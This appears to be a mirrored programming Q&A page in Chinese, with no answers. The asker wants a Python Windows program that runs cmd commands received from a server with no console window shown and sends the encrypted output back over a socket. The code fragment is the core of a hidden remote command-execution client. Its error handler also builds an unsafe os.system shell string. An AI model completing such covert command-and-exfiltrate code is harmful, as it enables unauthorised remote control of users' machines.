如何在没有控制台窗口的情况下从subprocess.getoutput获取cmd命令输出?

时间:2019-08-28 11:58:21

标签: python subprocess

我正在用python制作Windows程序,该程序将执行cmd命令,然后将输出发送到服务器而不显示控制台窗口,但出现错误“ [winerror 6]句柄无效”。

我正在使用subprocess.getoutput,它可以工作,但是当我使用带有--windowed或--noconsole标志的pyinstaller隐藏控制台窗口时,出现错误“ [winerror 6]句柄无效”。

我尝试使用subprocess.call和subprocess.Popen,但在输出时有些麻烦。

我还使用os.system执行命令,将输出写入文件([command]> file.txt),然后读取,但是它弹出了一些cmd窗口。

因此,比起我想尝试不在pyinstaller中而是在代码中隐藏窗口,但控制台窗口可见了一秒钟。

当我不使用pyinstaller隐藏控制台窗口时,这就是我当前的代码。

try:
    command = data[1]
    output = subprocess.getoutput(command)
    output = EncryptData(output)
    SendList = [UserName, output]
    self.sock.sendall(pickle.dumps(SendList))
except Exception as e:
    print(e)
    os.system("echo " + str(e) + " > %"+"appdata%\\ERROR.txt") 
    #[winerror 6] the handle is invalid

0 个答案:

没有答案